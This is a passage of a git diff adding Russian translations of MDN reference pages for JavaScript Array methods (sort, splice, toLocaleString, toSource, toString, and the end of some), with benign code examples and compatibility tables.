+    var thisArg = arguments.length &gt;= 2 ? arguments[1] : void 0;
+    for (var i = 0; i &lt; len; i++) {
+      if (i in t &amp;&amp; fun.call(thisArg, t[i], i, t)) {
+        return true;
+      }
+    }
+
+    return false;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.17', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Array.some")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.some()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/sort/index.html b/files/ru/web/javascript/reference/global_objects/array/sort/index.html
new file mode 100644
index 0000000000..06769275e6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/sort/index.html
@@ -0,0 +1,234 @@
+---
+title: Array.prototype.sort()
+slug: Web/JavaScript/Reference/Global_Objects/Array/sort
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>sort()</strong></code> <em>на месте</em> сортирует элементы массива и возвращает отсортированный массив. Сортировка не обязательно <a href="https://ru.wikipedia.org/wiki/Устойчивая_сортировка">устойчива</a> (<a href="https://en.wikipedia.org/wiki/Sorting_algorithm#Stability">англ.</a>). Порядок cортировки по умолчанию соответствует порядку кодовых точек Unicode.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>arr</var>.sort([<var>compareFunction</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>compareFunction</code></dt>
+ <dd>Необязательный параметр. Указывает функцию, определяющую порядок сортировки. Если опущен, массив сортируется в соответствии со значениями кодовых точек каждого символа <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">Unicode</a>, полученных путём преобразования каждого элемента в строку.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Отсортированный массив. Важно, что копия массива не создается - массив сортируется <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">на месте</a></em>.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если функция сравнения <code>compareFunction</code> не предоставляется, элементы сортируются путём преобразования их в строки и сравнения строк в порядке следования кодовых точек Unicode. Например, слово "Вишня" идёт перед словом "бананы". При числовой сортировке, 9 идёт перед 80, но поскольку числа преобразуются в строки, то "80" идёт перед "9" в соответствии с порядком в Unicode.</p>
+
+<pre class="brush: js notranslate">var fruit = ['арбузы', 'бананы', 'Вишня'];
+fruit.sort(); // ['Вишня', 'арбузы', 'бананы']
+
+var scores = [1, 2, 10, 21];
+scores.sort(); // [1, 10, 2, 21]
+
+var things = ['слово', 'Слово', '1 Слово', '2 Слова'];
+things.sort(); // ['1 Слово', '2 Слова', 'Слово', 'слово']
+// В Unicode, числа находятся перед буквами в верхнем регистре,
+// а те, в свою очередь, перед буквами в нижнем регистре.
+</pre>
+
+<p>Если функция сравнения <code>compareFunction</code> предоставлена, элементы массива сортируются в соответствии с её возвращаемым значением. Если сравниваются два элемента <code>a</code> и <code>b</code>, то:</p>
+
+<ul>
+ <li>Если <code>compareFunction(a, b)</code> меньше 0, сортировка поставит <code>a</code> по меньшему индексу, чем <code>b</code>, то есть, <code>a</code> идёт первым.</li>
+ <li>Если <code>compareFunction(a, b)</code> вернёт 0, сортировка оставит <code>a</code> и <code>b</code> неизменными по отношению друг к другу, но отсортирует их по отношению ко всем другим элементам. Обратите внимание: стандарт ECMAscript не гарантирует данное поведение, и ему следуют не все браузеры (например, версии Mozilla по крайней мере, до 2003 года).</li>
+ <li>Если <code>compareFunction(a, b)</code> больше 0, сортировка поставит <code>b</code> по меньшему индексу, чем <code>a</code>.</li>
+ <li>Функция <code>compareFunction(a, b)</code> должна всегда возвращать одинаковое значение для определённой пары элементов <code>a</code> и <code>b</code>. Если будут возвращаться непоследовательные результаты, порядок сортировки будет не определён.</li>
+</ul>
+
+<p>Итак, функция сравнения имеет следующую форму:</p>
+
+<pre class="brush: js notranslate">function compare(a, b) {
+  if (a меньше b по некоторому критерию сортировки) {
+    return -1;
+  }
+  if (a больше b по некоторому критерию сортировки) {
+    return 1;
+  }
+  // a должно быть равным b
+  return 0;
+}
+</pre>
+
+<p>Для числового сравнения, вместо строкового, функция сравнения может просто вычитать <code>b</code> из <code>a</code>. Следующая функция будет сортировать массив по возрастанию:</p>
+
+<pre class="brush: js notranslate">function compareNumbers(a, b) {
+  return a - b;
+}
+</pre>
+
+<p>Метод <code>sort</code> можно удобно использовать с {{jsxref("Operators/function", "функциональными выражениями", "", 1)}} (и <a href="/ru/docs/Web/JavaScript/Guide/Closures">замыканиями</a>):</p>
+
+<pre class="brush: js notranslate">var numbers = [4, 2, 5, 1, 3];
+numbers.sort(function(a, b) {
+  return a - b;
+});
+console.log(numbers); // [1, 2, 3, 4, 5]
+</pre>
+
+<p>Объекты могут быть отсортированы по значению одного из своих свойств.</p>
+
+<pre class="brush: js notranslate">var items = [
+  { name: 'Edward', value: 21 },
+  { name: 'Sharpe', value: 37 },
+  { name: 'And', value: 45 },
+  { name: 'The', value: -12 },
+  { name: 'Magnetic' },
+  { name: 'Zeros', value: 37 }
+];
+items.sort(function (a, b) {
+  if (a.name &gt; b.name) {
+    return 1;
+  }
+  if (a.name &lt; b.name) {
+    return -1;
+  }
+  // a должно быть равным b
+  return 0;
+});
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Creating.2C_displaying.2C_and_sorting_an_array" name="Example:_Creating.2C_displaying.2C_and_sorting_an_array">Пример: создание, отображение и сортировка массива</h3>
+
+<p>В следующем примере создаётся четыре массива, сначала отображается первоначальный массив, а затем они сортируются. Числовые масивы сортируются сначала без, а потом с функцией сравнения.</p>
+
+<pre class="brush: js notranslate">var stringArray = ['Голубая', 'Горбатая', 'Белуга'];
+var numericStringArray = ['80', '9', '700'];
+var numberArray = [40, 1, 5, 200];
+var mixedNumericArray = ['80', '9', '700', 40, 1, 5, 200];
+
+function compareNumbers(a, b) {
+  return a - b;
+}
+
+// снова предполагаем, что функция печати определена
+console.log('stringArray:', stringArray.join());
+console.log('Сортировка:', stringArray.sort());
+
+console.log('numberArray:', numberArray.join());
+console.log('Сортировка без функции сравнения:', numberArray.sort());
+console.log('Сортировка с функцией compareNumbers:', numberArray.sort(compareNumbers));
+
+console.log('numericStringArray:', numericStringArray.join());
+console.log('Сортировка без функции сравнения:', numericStringArray.sort());
+console.log('Сортировка с функцией compareNumbers:', numericStringArray.sort(compareNumbers));
+
+console.log('mixedNumericArray:', mixedNumericArray.join());
+console.log('Сортировка без функции сравнения:', mixedNumericArray.sort());
+console.log('Сортировка с функцией compareNumbers:', mixedNumericArray.sort(compareNumbers));
+</pre>
+
+<p>Этот пример произведёт следующий вывод. Как показывает вывод, когда используется функция сравнения, числа сортируются корректно вне зависимости от того, являются ли они собственно числами или строками с числами.</p>
+
+<pre class="notranslate">stringArray: Голубая,Горбатая,Белуга
+Сортировка: Белуга,Голубая,Горбатая
+
+numberArray: 40,1,5,200
+Сортировка без функции сравнения: 1,200,40,5
+Сортировка с функцией compareNumbers: 1,5,40,200
+
+numericStringArray: 80,9,700
+Сортировка без функции сравнения: 700,80,9
+Сортировка с функцией compareNumbers: 9,80,700
+
+mixedNumericArray: 80,9,700,40,1,5,200
+Сортировка без функции сравнения: 1,200,40,5,700,80,9
+Сортировка с функцией compareNumbers: 1,5,9,40,80,200,700
+</pre>
+
+<h3 id="Example_Sorting_non-ASCII_characters" name="Example:_Sorting_non-ASCII_characters">Пример: сортировка не-ASCII символов</h3>
+
+<p>Для сортировки строк с не-ASCII символами, то есть строк с символами акцента (e, é, è, a, ä и т.д.), строк, с языками, отличными от английского: используйте {{jsxref("String.localeCompare")}}. Эта функция может сравнивать эти символы, чтобы они становились в правильном порядке.</p>
+
+<pre class="brush: js notranslate">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu'];
+items.sort(function (a, b) {
+  return a.localeCompare(b);
+});
+
+// items равен ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']
+</pre>
+
+<h3 id="Example_Sorting_maps" name="Example:_Sorting_maps">Пример: сортировка c помощью map</h3>
+
+<p>Функция сравнения <code>(compareFunction)</code> может вызываться несколько раз для каждого элемента в массиве. В зависимости от природы функции сравнения, это может привести к высоким расходам ресурсов. Чем более сложна функция сравнения и чем больше элементов требуется отсортировать, тем разумнее использовать <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> для сортировки. Идея состоит в том, чтобы обойти массив один раз, чтобы извлечь фактические значения, используемые для сортировки, во временный массив, отсортировать временный массив, а затем обойти временный массив для получения правильного порядка.</p>
+
+<pre class="brush: js notranslate">// массив для сортировки
+var list = ['Дельта', 'альфа', 'ЧАРЛИ', 'браво'];
+
+// временный массив содержит объекты с позицией и значением сортировки
+var mapped = list.map(function(el, i) {
+return { index: i, value: el.toLowerCase() };
+});
+
+// сортируем массив, содержащий уменьшенные значения
+mapped.sort(function(a, b) {
+  if (a.value &gt; b.value) {
+    return 1; }
+  if (a.value &lt; b.value) {
+    return -1; }
+  return 0;
+});
+
+// контейнер для результа
+var result = mapped.map(function(el) {
+  return list[el.index];
+});
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.11', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Array.sort")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/splice/index.html b/files/ru/web/javascript/reference/global_objects/array/splice/index.html
new file mode 100644
index 0000000000..a714590fab
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/splice/index.html
@@ -0,0 +1,142 @@
+---
+title: Array.prototype.splice()
+slug: Web/JavaScript/Reference/Global_Objects/Array/splice
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>splice()</strong></code> изменяет содержимое массива, удаляя существующие элементы и/или добавляя новые.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>array</var>.splice(<var>start[</var>, <var>deleteCount</var>[, <var>item1</var>[, <var>item2</var>[, ...]]]])
+</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Индекс, по которому начинает изменять массив. Если больше длины массива, реальный индекс будет установлен на длину массива. Если отрицателен, указывает индекс элемента с конца.</dd>
+ <dt><code>deleteCount </code>{{optional_inline}}</dt>
+ <dd>Целое число, показывающее количество старых удаляемых из массива элементов. Если <code>deleteCount</code> равен 0, элементы не удаляются. В этом случае вы должны указать как минимум один новый элемент. Если <code>deleteCount</code> больше количества элементов, оставшихся в массиве, начиная с индекса <code>start</code>, то будут удалены все элементы до конца массива.</dd>
+ <dt><code>item<em>N </em></code>{{optional_inline}}</dt>
+ <dd>Необязательные параметры. Добавляемые к массиву элементы. Если вы не укажете никакого элемента, <code>splice()</code> просто удалит элементы из массива.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Массив, содержащий удалённые элементы. Если будет удалён только один элемент, вернётся массив из одного элемента. Если никакие элементы не будут удалены, вернётся пустой массив.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если количество указанных вставляемых элементов будет отличным от количества удаляемых элементов, массив изменит длину после вызова.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Удаляет_0_элементов_по_индексу_2_и_вставляет_drum">Удаляет 0 элементов по индексу 2 и вставляет "drum"</h3>
+
+<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2, 0, 'drum');
+
+// myFish равен ["angel", "clown", "drum", "mandarin", "sturgeon"]
+// removed равен [], ничего не удалено</pre>
+
+<h3 id="Удаляет_1_элемент_по_индексу_3">Удаляет 1 элемент по индексу 3</h3>
+
+<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(3, 1);
+
+// removed равен ["mandarin"]
+// myFish равен ["angel", "clown", "drum", "sturgeon"]</pre>
+
+<h3 id="Удаляет_1_элемент_по_индексу_2_и_вставляет_trumpet">Удаляет 1 элемент по индексу 2 и вставляет "trumpet"</h3>
+
+<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'drum', 'sturgeon'];
+var removed = myFish.splice(2, 1, 'trumpet');
+
+// myFish равен ["angel", "clown", "trumpet", "sturgeon"]
+// removed равен ["drum"]</pre>
+
+<h3 id="Удаляет_2_элемента_начиная_с_индекса_0_и_вставляет_parrot_anemone_и_blue">Удаляет 2 элемента начиная с индекса 0 и вставляет "parrot", "anemone" и "blue"</h3>
+
+<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(0, 2, 'parrot', 'anemone', 'blue');
+
+// myFish равен ["parrot", "anemone", "blue", "trumpet", "sturgeon"]
+// removed равен ["angel", "clown"]</pre>
+
+<h3 id="Удаляет_2_элемента_начиная_с_индекса_2">Удаляет 2 элемента начиная с индекса 2</h3>
+
+<pre class="brush: js notranslate">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(myFish.length - 3, 2);
+
+// myFish равен ["parrot", "anemone", "sturgeon"]
+// removed равен ["blue", "trumpet"]</pre>
+
+<h3 id="Удаляет_1_элемент_по_индексу_-2">Удаляет 1 элемент по индексу -2</h3>
+
+<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(-2, 1);
+
+// myFish равен ["angel", "clown", "sturgeon"]
+// removed равен s ["mandarin"]</pre>
+
+<h3 id="Удаляет_все_элементы_после_индекса_2_включительно">Удаляет все элементы после индекса 2 (включительно)</h3>
+
+<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2);
+
+// myFish равен ["angel", "clown"]
+// removed равен ["mandarin", "sturgeon"]</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Array.splice")}}</p>
+
+<h3 id="Backward_compatibility" name="Backward_compatibility">Обратная совместимость</h3>
+
+<p>В JavaScript 1.2 метод <code>splice()</code> возвращал удалённый элемент только если был удалён один элемент (параметр <code>deleteCount</code> равен 1); в противном случае метод возвращал массив с удалёнными элементами. Обратите внимание, что последним браузером, использующим JavaScript 1.2, был Netscape Navigator 4, так что вы можете считать, что <code>splice()</code> всегда возвращает массив.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()", "push()")}} / {{jsxref("Array.prototype.pop()", "pop()")}} — добавление / удаление элементов с конца массива</li>
+ <li>{{jsxref("Array.prototype.unshift()", "unshift()")}} / {{jsxref("Array.prototype.shift()", "shift()")}} — добавление / удаление элементов с начала массива</li>
+ <li>{{jsxref("Array.prototype.concat()", "concat()")}} — возвращает новый массив, состоящий из данного массива, соединённого с другими массивами и/или значениями</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/tolocalestring/index.html b/files/ru/web/javascript/reference/global_objects/array/tolocalestring/index.html
new file mode 100644
index 0000000000..ed3f4f6088
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/tolocalestring/index.html
@@ -0,0 +1,134 @@
+---
+title: Array.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString
+tags:
+  - Array
+  - Internationalization
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>toLocaleString()</strong></code> возвращает строковое представление элементов массива. Элементы преобразуются в строки с использованием своих собственных методов <code>toLocaleString</code> и эти строки разделяются локале-зависимой строкой (например, запятой «,»).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.toLocaleString();</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Элементы массива преобразуются в строки с использованием своих собственных методов <code>toLocaleString</code>:</p>
+
+<ul>
+ <li><code>Object</code>: {{jsxref("Object.prototype.toLocaleString()")}}</li>
+ <li><code>Number</code>: {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li><code>Date</code>: {{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toLocaleString" name="Example:_Using_toLocaleString">Пример: использование <code>toLocaleString</code></h3>
+
+<pre class="brush: js">var number = 1337;
+var date = new Date();
+var myArr = [number, date, 'foo'];
+
+var str = myArr.toLocaleString();
+
+console.log(str);
+// напечатает '1337,6.12.2013 19:37:35,foo',
+// если работает под германской локалью (de-DE) с временной зоной Европа/Берлин
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.3', 'Array.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/tosource/index.html b/files/ru/web/javascript/reference/global_objects/array/tosource/index.html
new file mode 100644
index 0000000000..c4d30c1287
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/tosource/index.html
@@ -0,0 +1,94 @@
+---
+title: Array.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Array/toSource
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource
+---
+<div>
+ {{JSRef("Global_Objects", "Array")}} {{non-standard_header}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>toSource()</strong></code> возвращает строковое представление исходного кода массива.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>arr</var>.toSource()</code></pre>
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>toSource</code> возвращает следующие значения:</p>
+<ul>
+ <li>Для встроенного объекта {{jsxref("Global_Objects/Array", "Array")}}, метод <code>toSource</code> возвращает следующую строку, указывающую, что исходный код недоступен:
+  <pre class="brush: js">function Array() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Для экземпляров класса {{jsxref("Global_Objects/Array", "Array")}}, метод <code>toSource</code> возвращает строковое представление исходного кода.</li>
+</ul>
+<p>Этот метод обычно вызывается внутри движка JavaScript, а не явно в коде. Вы можете вызвать <code>toSource</code> во время отладки для просмотра содержимого массива.</p>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<h3 id="Example:_Examining_the_source_code_of_an_array" name="Example:_Examining_the_source_code_of_an_array">Пример: рассмотрение исходного кода массива</h3>
+<p>Для просмотра исходного кода массива:</p>
+<pre class="brush: js">var alpha = new Array('a', 'b', 'c');
+
+alpha.toSource();   // вернёт ['a', 'b', 'c']
+</pre>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/tostring/index.html b/files/ru/web/javascript/reference/global_objects/array/tostring/index.html
new file mode 100644
index 0000000000..f2877df269
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/tostring/index.html
@@ -0,0 +1,122 @@
+---
+title: Array.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Array/toString
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>toString()</strong></code> возвращает строковое представление указанного массива и его элементов.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.toString()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Объект {{jsxref("Global_Objects/Array", "Array")}} переопределяет метод <code>toString</code> объекта {{jsxref("Global_Objects/Object", "Object")}}. Для объектов класса <code>Array</code>, метод <code>toString</code> соединяет массив и возвращает одну строку, содержащую каждый элемент массива, разделённый запятыми. Например, следующий код создаёт массив и использует метод <code>toString</code> для преобразования массива в строку.</p>
+
+<pre class="brush: js">var monthNames = ['Янв', 'Фев', 'Мар', 'Апр'];
+var myVar = monthNames.toString(); // присваивает 'Янв,Фев,Мар,Апр' переменной myVar.
+</pre>
+
+<p>JavaScript вызывает метод <code>toString</code> автоматически, когда массив представляется текстовым значением или когда массив находится в контексте конкатенации строк.</p>
+
+<h3 id="ECMAScript_5_semantics" name="ECMAScript_5_semantics">Семантика ECMAScript 5</h3>
+
+<p>Начиная с JavaScript 1.8.5 (<span class="st">Firefox 4</span>), и в соответствии с сементикой ECMAScript 5-го издания, метод <code>toString()</code> является обобщённым и может использоваться с любым объектом. В случае с массивами, если он имеет метод <code>join()</code>, он будет вызван и результат его работы будет возвращён. В противном случае будет вызван метод {{jsxref("Object.prototype.toString()")}}, и будет возвращён результат его работы.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.2', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
